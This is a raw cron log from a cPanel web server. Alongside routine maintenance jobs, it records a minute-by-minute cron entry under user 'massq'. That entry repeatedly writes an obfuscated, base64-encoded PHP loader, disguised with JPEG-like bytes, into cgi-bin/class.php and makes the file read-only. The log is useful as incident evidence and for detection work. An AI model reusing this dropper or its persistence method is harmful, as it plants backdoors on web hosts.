Sep  8 07:04:01 server CROND[15653]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:04:01 server CROND[15655]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:05:01 server CROND[16030]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 07:05:01 server CROND[16032]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 07:05:01 server CROND[16034]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 07:05:01 server CROND[16037]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 07:05:01 server CROND[16040]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 07:05:01 server CROND[16039]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:05:01 server CROND[16038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:05:01 server CROND[16036]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:06:01 server CROND[16912]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:06:01 server CROND[16911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:06:01 server CROND[16913]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:07:01 server CROND[17373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:07:01 server CROND[17374]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:07:01 server CROND[17375]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:08:01 server CROND[17843]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:08:01 server CROND[17844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:08:01 server CROND[17845]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:09:01 server CROND[18223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:09:01 server CROND[18224]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:09:01 server CROND[18225]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 07:09:01 server CROND[18226]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:10:01 server CROND[18621]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 07:10:01 server CROND[18622]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 07:10:01 server CROND[18623]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 07:10:01 server CROND[18628]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:10:01 server CROND[18629]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 07:10:01 server CROND[18631]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 07:10:01 server CROND[18632]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:10:01 server CROND[18627]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:11:02 server CROND[19484]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:11:02 server CROND[19485]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:11:02 server CROND[19486]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:12:01 server CROND[19855]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 07:12:01 server CROND[19856]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:12:01 server CROND[19857]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:12:01 server CROND[19858]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:13:01 server CROND[20325]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:13:01 server CROND[20326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:13:01 server CROND[20327]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:14:01 server CROND[20712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:14:01 server CROND[20713]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:14:01 server CROND[20715]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:15:01 server CROND[21086]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 07:15:01 server CROND[21088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:15:01 server CROND[21096]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 07:15:01 server CROND[21099]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 07:15:01 server CROND[21104]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 07:15:01 server CROND[21100]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:15:01 server CROND[21101]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  8 07:15:01 server CROND[21102]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEy